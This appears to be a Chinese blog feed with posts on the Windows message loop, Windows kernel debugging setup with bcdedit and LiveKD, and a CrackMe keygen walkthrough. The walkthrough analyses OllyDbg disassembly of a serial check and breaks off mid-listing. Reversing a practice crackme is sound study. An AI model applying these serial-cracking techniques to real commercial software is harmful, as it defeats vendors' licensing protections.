<span class="w"> </span><span class="n">WNDPROC</span><span class="w"> </span><span class="n">fWndProc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">WNDPROC</span><span class="p">)</span><span class="n">GetWindowLong</span><span class="p">(</span><span class="n">Msg</span><span class="p">.</span><span class="n">hwnd</span><span class="p">,</span><span class="w"> </span><span class="n">GWL_WNDPROC</span><span class="p">);</span>
<span class="w"> </span><span class="n">fWndProc</span><span class="p">(</span><span class="n">Msg</span><span class="p">.</span><span class="n">hwnd</span><span class="p">,</span><span class="w"> </span><span class="n">Msg</span><span class="p">.</span><span class="n">message</span><span class="p">,</span><span class="w"> </span><span class="n">Msg</span><span class="p">.</span><span class="n">wParam</span><span class="p">,</span><span class="w"> </span><span class="n">Msg</span><span class="p">.</span><span class="n">lParam</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p><code>PostQuitMessage</code> will terminate the message loop, this function put a <code>WM_QUIT</code> to the message queue</p>
<p><a href="https://github.com/wqreytuk/windows_message_loop">here</a> is a demo project you can play with</p>Windows Kernel Debug2022-05-28T00:00:00+02:002022-05-28T00:00:00+02:0012138tag:None,2022-05-28:windows-kernel-debug.html<p>参考链接:</p>
<ul>
<li><a href="https://samsclass.info/126/proj/PMA410d.htm">https://samsclass.info/126/proj/PMA410d.htm</a></li>
</ul>
<h1>单机调试</h1>
<p><strong>这个单机调试对于内核调试比较鸡肋,很多调试命令都执行不了,推荐使用双机调试 …</strong></p><p>参考链接:</p>
<ul>
<li><a href="https://samsclass.info/126/proj/PMA410d.htm">https://samsclass.info/126/proj/PMA410d.htm</a></li>
</ul>
<h1>单机调试</h1>
<p><strong>这个单机调试对于内核调试比较鸡肋,很多调试命令都执行不了,推荐使用双机调试</strong></p>
<p>正常情况下,如果逆向debug windows kernel,你需要两台可以互相连通的windows机器,一台作为debuger(调试机),一台作为debugee(被调试机)</p>
<p>不过有一个叫做<code>LiveKD</code>的工具,使用这个工具,你只需要一台机器即可对kernel进行debug</p>
<p>首先你需要安装sdk,本文的测试环境为windows 10,因此需要下载<a href="https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk">win10 sdk</a>进行安装</p>
<p>sdk安装完成之后,使用<a href="https://www.voidtools.com/zh-cn/">everything</a>定位到<code>windbg.exe</code>的路径并将其添加到环境变量中</p>
<p><img alt="image-20220528164220973" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xsaObbCvkk.jpg"></p>
<p>我的测试环境是x64的,所以我选择<code>C:\Program Files (x86)\Windows Kits\10\Debuggers\x64</code></p>
<p>想要进行kernel debug,你需要先执行两条命令</p>
<div class="highlight"><pre><span></span><code>bcdedit /debug on
bcdedit /dbgsettings local
</code></pre></div>
<p>获取LiveKD工具:<a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/livekd">https://docs.microsoft.com/zh-cn/sysinternals/downloads/livekd</a></p>
<p>解压之后,以管理员身份打开cmd进入到该目录,执行<code>livekd64 -w</code></p>
<p><img alt="image-20220528165249421" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ugiiRJCaIF.jpg"></p>
<p>至此,你就设置好windows kernel debug的环境了</p>
<h1>双机调试</h1>
<p>thisifuckingshanchubiaozhi1kdekaishi1有些漏洞会导致机器BSOD(blue screen of death),整个计算机就直接崩溃重启了,不适合使用单机调试jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu</p>
<p><strong>什么弱智言论,明明是因为内核调试的话整个机器就HALT了,不用两个机器调也没法玩儿呀</strong></p>
<p>双机调试的设置也比较简单,我比较喜欢通过网络进行调试,也有通过使用串口调试的方法,这里不做介绍</p>
<p>这里使用物理机和虚拟机进行双机调试,我虚拟机网卡是桥接模式,所以直接和物理机位于同一个网段</p>
<div class="highlight"><pre><span></span><code>bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.100.28 port:50000 key:my.secure.key.here
bcdedit /set "{dbgsettings}" busparams 3.0.0
</code></pre></div>
<p>在debugee(被调试机)以管理员模式执行上面的命令即可,其中<code>192.168.100.28</code>是debuger(调试机)的IP</p>
<p><code>3.0.0</code>这个参数可以在debugee中通过如下方式获取:</p>
<p><img alt="image-20220604125827698" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fxUcInaAMK.jpg"></p>
<p>然后debuger启动windbg,<code>File</code>-><code>Kernel Debug...</code>,将端口号和key输进去就行了</p>
<p><img alt="image-20220604125925256" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/mTHBqUxBdE.jpg"></p>
<h1>windows7及以下版本</h1>
<p>网络调试是从Windows8 (Server 2012)才开始有的,所以对于server 2008或者windows 7以及更早的版本需要使用串口调试,详细细节请查看这个视频:</p>
<p><a href="https://www.bilibili.com/video/BV19G4y1H7Nj/">https://www.bilibili.com/video/BV19G4y1H7Nj/</a></p>CrackMe之cycle注册机2022-05-12T00:00:00+02:002022-05-12T00:00:00+02:0012138tag:None,2022-05-12:crackmezhi-cyclezhu-ce-ji.html<p>references:</p>
<ul>
<li><a href="https://bbs.pediy.com/thread-21532.htm">https://bbs.pediy.com/thread-21532.htm</a></li>
</ul>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8D2%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.zip.7z">要破解的二进制文件和注册机</a></p>
<p>下断点的方法和crackhead一样,通过搜索所有引入的函数,从中找出可以用来下断点 …</p><p>references:</p>
<ul>
<li><a href="https://bbs.pediy.com/thread-21532.htm">https://bbs.pediy.com/thread-21532.htm</a></li>
</ul>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8D2%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.zip.7z">要破解的二进制文件和注册机</a></p>
<p>下断点的方法和crackhead一样,通过搜索所有引入的函数,从中找出可以用来下断点的函数</p>
<p><img alt="" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QeeyLbBkIU.jpg"></p>
<p>此处为<a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getdlgitemtexta">GetDlgItemTextA</a>函数</p>
<p>我们在该函数出现的所有位置下断点,然后在cycle程序的输入框中随便输点东西,触发断点即可</p>
<p>断点触发之后,我们就不需要这些断点了,在函数调用的下一行下断点即可</p>
<p><img alt="" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qavJfZVTkQ.jpg"></p>
<p>下面我们开始捋代码</p>
<div class="highlight"><pre><span></span><code><span class="err">004010</span><span class="nf">A6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="c1">; /Count = 11 (17.)</span>
<span class="err">004010</span><span class="nf">A8</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">68</span><span class="w"> </span><span class="mi">71214000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">cycle.00402171</span><span class="w"> </span><span class="c1">; |Buffer = cycle.00402171</span>
<span class="err">004010</span><span class="nf">AD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">68</span><span class="w"> </span><span class="no">E9030000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">3</span><span class="no">E9</span><span class="w"> </span><span class="c1">; |ControlID = 3E9 (1001.)</span>
<span class="err">004010</span><span class="nf">B2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">FF75</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">SS</span><span class="p">:[</span><span class="no">EBP</span><span class="err">+</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="c1">; |hWnd</span>
<span class="err">004010</span><span class="nf">B5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">E8</span><span class="w"> </span><span class="mi">0</span><span class="no">F020000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="err"><</span><span class="no">JMP.</span><span class="err">&</span><span class="no">USER32.GetDlgItemTextA</span><span class="err">></span><span class="w"> </span><span class="c1">; \GetDlgItemTextA</span>
<span class="err">004010</span><span class="nf">BA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">0</span><span class="no">BC0</span><span class="w"> </span><span class="no">OR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">004010</span><span class="nf">BC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">61</span><span class="w"> </span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.0040111F</span>
<span class="err">004010</span><span class="nf">BE</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="c1">; /Count = 11 (17.)</span>
<span class="err">004010</span><span class="nf">C0</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">68</span><span class="w"> </span><span class="mi">60214000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">cycle.00402160</span><span class="w"> </span><span class="c1">; |Buffer = cycle.00402160</span>
<span class="err">004010</span><span class="nf">C5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">68</span><span class="w"> </span><span class="no">E8030000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">3</span><span class="no">E8</span><span class="w"> </span><span class="c1">; |ControlID = 3E8 (1000.)</span>
<span class="err">004010</span><span class="nf">CA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">FF75</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">SS</span><span class="p">:[</span><span class="no">EBP</span><span class="err">+</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="c1">; |hWnd</span>
<span class="err">004010</span><span class="nf">CD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">E8</span><span class="w"> </span><span class="no">F7010000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="err"><</span><span class="no">JMP.</span><span class="err">&</span><span class="no">USER32.GetDlgItemTextA</span><span class="err">></span><span class="w"> </span><span class="c1">; \GetDlgItemTextA</span>
<span class="err">004010</span><span class="nf">D2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">0</span><span class="no">BC0</span><span class="w"> </span><span class="no">OR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">004010</span><span class="nf">D4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">49</span><span class="w"> </span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.0040111F</span>
</code></pre></div>
<p><code>GetDlgItemTextA</code>函数被调用了两次,返回值存储在EAX中,为获取到的字符串的长度,第三个参数为传出参数,用于存储获取到的字符串,两次调用中分别传入了指针<code>0x00402171</code>和<code>00402160</code></p>
<p>根据调试结果,第一次调用获取到的是Serial,第二次调用获取到的是Name</p>
<p>只要我们输入不为空(即EAX值不为0),那么上面代码中的<code>JE SHORT cycle.0040111F</code>就不会执行</p>
<p>接着往下看</p>
<div class="highlight"><pre><span></span><code><span class="err">004010</span><span class="nf">D6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">B9</span><span class="w"> </span><span class="mi">10000000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">10</span>
<span class="err">004010</span><span class="nf">DB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">2</span><span class="no">BC8</span><span class="w"> </span><span class="no">SUB</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">004010</span><span class="nf">DD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">BE</span><span class="w"> </span><span class="mi">60214000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">cycle.00402160</span><span class="w"> </span><span class="c1">; ASCII "1231231231231231"</span>
<span class="err">004010</span><span class="nf">E2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">BFE</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">ESI</span>
<span class="err">004010</span><span class="nf">E4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">03</span><span class="no">F8</span><span class="w"> </span><span class="no">ADD</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">004010</span><span class="nf">E6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">FC</span><span class="w"> </span><span class="no">CLD</span>
<span class="err">004010</span><span class="nf">E7</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">F3</span><span class="p">:</span><span class="no">A4</span><span class="w"> </span><span class="no">REP</span><span class="w"> </span><span class="no">MOVS</span><span class="w"> </span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">ES</span><span class="p">:[</span><span class="no">EDI</span><span class="p">],</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="err">></span>
</code></pre></div>
<p>这段代码对用户名进行了拷贝,CLD复位DDF标志寄存器,因此在执行REP MOVS时ESI和EDI每次拷贝完成后都会增加,由于此处为<code>REP MOVS BYTE</code>,因此每次拷贝一个字节,ESI和EDI的增加梯度也为1字节</p>
<p>拷贝的次数由ECX-EAX的结果决定,即(16-用户名长度),其实就是将用户名的长度扩展到了16位</p>
<div class="highlight"><pre><span></span><code><span class="err">004010</span><span class="nf">E9</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">C9</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">004010</span><span class="nf">EB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">BE</span><span class="w"> </span><span class="mi">71214000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">cycle.00402171</span><span class="w"> </span><span class="c1">; ASCII "1234567890000000"</span>
<span class="err">004010</span><span class="nf">F0</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">41</span><span class="w"> </span><span class="err">/</span><span class="no">INC</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">004010</span><span class="nf">F1</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">AC</span><span class="w"> </span><span class="err">|</span><span class="no">LODS</span><span class="w"> </span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">004010</span><span class="nf">F2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">0</span><span class="no">AC0</span><span class="w"> </span><span class="err">|</span><span class="no">OR</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">AL</span>
<span class="err">004010</span><span class="nf">F4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">0</span><span class="no">A</span><span class="w"> </span><span class="err">|</span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.00401100</span>
<span class="err">004010</span><span class="nf">F6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">3</span><span class="no">C</span><span class="w"> </span><span class="mi">7</span><span class="no">E</span><span class="w"> </span><span class="err">|</span><span class="no">CMP</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="mi">7</span><span class="no">E</span>
<span class="err">004010</span><span class="nf">F8</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">7</span><span class="no">F</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="err">|</span><span class="no">JG</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.00401100</span>
<span class="err">004010</span><span class="nf">FA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">3</span><span class="no">C</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="err">|</span><span class="no">CMP</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="mi">30</span>
<span class="err">004010</span><span class="nf">FC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">72</span><span class="w"> </span><span class="mi">02</span><span class="w"> </span><span class="err">|</span><span class="no">JB</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.00401100</span>
<span class="err">004010</span><span class="nf">FE</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="no">EB</span><span class="w"> </span><span class="no">F0</span><span class="w"> </span><span class="err">\</span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.004010F0</span>
<span class="err">00401100</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="err">83</span><span class="nf">F9</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">11</span>
<span class="err">00401103</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">75</span><span class="w"> </span><span class="err">1</span><span class="nf">A</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.0040111F</span>
</code></pre></div>
<p>清空ECX,然后将ESI指向Serial</p>
<p>下面开始循环,其中有一条指令大家可能没见过</p>
<p>LODS指令,Load String Operand</p>
<p>比如此处的<code>LODS BYTE PTR DS:[ESI]</code>,会将ESI所指向的内容加载到EAX寄存器中,至于是加载到EAX、AX、AL由指令控制,此处由于我们是<code>LODS BYTE</code>,因此内存中的内容会被加载到AL中</p>
<p>因此上面代码中的循环就干了一件事,就是检测Serial中的字符是否位于<code>0x30</code>和<code>0x7E</code>之间,也就是ASCII码表中的48~126之间</p>
<p><img alt="" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YFJYHOtGwH.jpg"></p>
<p>最后判断了一下字符串长度是否为16,因为ECX会多加一次,也就是说比实际长度多1,根据<code>CMP ECX, 11</code>,我们可以确定Serial的长度必须为16位,因为如果无法满足这个条件,程序就会直接跳到RET指令,那就没得玩儿了,你可以自己试一下,如果Serial的长度不是16位,当你点击Check按钮的时候,程序是没有任何反应的</p>
<p>接着看</p>
<div class="highlight"><pre><span></span><code><span class="err">00401105</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">E8</span><span class="w"> </span><span class="no">E7000000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="no">cycle.004011F1</span>
<span class="err">0040110</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">B9</span><span class="w"> </span><span class="mi">01</span><span class="no">FF0000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">0</span><span class="no">FF01</span>
<span class="err">0040110</span><span class="nf">F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">51</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">00401110</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">E8</span><span class="w"> </span><span class="mi">7</span><span class="no">B000000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="no">cycle.00401190</span>
<span class="err">00401115</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">83</span><span class="nf">F9</span><span class="w"> </span><span class="mi">01</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">1</span>
<span class="err">00401118</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">74</span><span class="w"> </span><span class="err">06</span><span class="w"> </span><span class="nf">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">cycle.00401120</span>
<span class="err">0040111</span><span class="nf">A</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">E8</span><span class="w"> </span><span class="mi">47000000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="no">cycle.00401166</span>
<span class="err">0040111</span><span class="nf">F</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">C3</span><span class="w"> </span><span class="no">RETN</span>
<span class="err">00401120</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="nf">A1</span><span class="w"> </span><span class="mi">68214000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">402168</span><span class="p">]</span>
</code></pre></div>
<p>我们需要确保<code>JE SHORT cycle.00401120</code>执行,因为如果在这里没有跳转的话,那么不可避免的就一定会执行RETN,程序结束,又没得玩了</p>
<p>RETN上面那个CALL只是输出一下错误提示而已</p>
<p>因此我们要保证在前两个CALL执行完毕之后,ECX的值为1</p>
<p>这里我贴一下这两个函数的汇编代码:</p>
<p>cycle.004011f1</p>
<div class="highlight"><pre><span></span><code><span class="err">004011</span><span class="nf">F1</span><span class="w"> </span><span class="err">/</span><span class="no">$</span><span class="w"> </span><span class="no">A1</span><span class="w"> </span><span class="mi">60214000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">402160</span><span class="p">]</span>
<span class="err">004011</span><span class="nf">F6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">B1D</span><span class="w"> </span><span class="mi">64214000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">402164</span><span class="p">]</span>
<span class="err">004011</span><span class="nf">FC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">3305</span><span class="w"> </span><span class="mi">71214000</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">402171</span><span class="p">]</span>
<span class="err">00401202</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">331</span><span class="nf">D</span><span class="w"> </span><span class="mi">75214000</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">402175</span><span class="p">]</span>
<span class="err">00401208</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">25</span><span class="w"> </span><span class="err">0</span><span class="nf">F1F3F7F</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="mi">7</span><span class="no">F3F1F0F</span>
<span class="err">0040120</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E3</span><span class="w"> </span><span class="mi">00010307</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="mi">7030100</span>
<span class="err">00401213</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">C9</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">00401215</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="err">8</span><span class="nf">BF0</span><span class="w"> </span><span class="err">/</span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">00401217</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">BFB</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EBX</span>
<span class="err">00401219</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">D3E6</span><span class="w"> </span><span class="err">|</span><span class="no">SHL</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">CL</span>
<span class="err">0040121</span><span class="nf">B</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">D3E7</span><span class="w"> </span><span class="err">|</span><span class="no">SHL</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">CL</span>
<span class="err">0040121</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E6</span><span class="w"> </span><span class="mi">80808080</span><span class="w"> </span><span class="err">|</span><span class="no">AND</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">80808080</span>
<span class="err">00401223</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">81</span><span class="nf">E7</span><span class="w"> </span><span class="mi">80808080</span><span class="w"> </span><span class="err">|</span><span class="no">AND</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="mi">80808080</span>
<span class="err">00401229</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">BD6</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="no">ESI</span>
<span class="err">0040122</span><span class="nf">B</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C0EE</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DH</span><span class="p">,</span><span class="mi">7</span>
<span class="err">0040122</span><span class="nf">E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">66</span><span class="p">:</span><span class="no">C1E2</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHL</span><span class="w"> </span><span class="no">DX</span><span class="p">,</span><span class="mi">7</span>
<span class="err">00401232</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">C1EA</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">8</span>
<span class="err">00401235</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">C0EE</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">DH</span><span class="p">,</span><span class="mi">7</span>
<span class="err">00401238</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">66:</span><span class="nf">C1E2</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="err">|</span><span class="no">SHL</span><span class="w"> </span><span class="no">DX</span><span class="p">,</span><span class="mi">7</span>
<span class="err">0040123</span><span class="nf">C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C1EA</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">SHR</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">8</span>
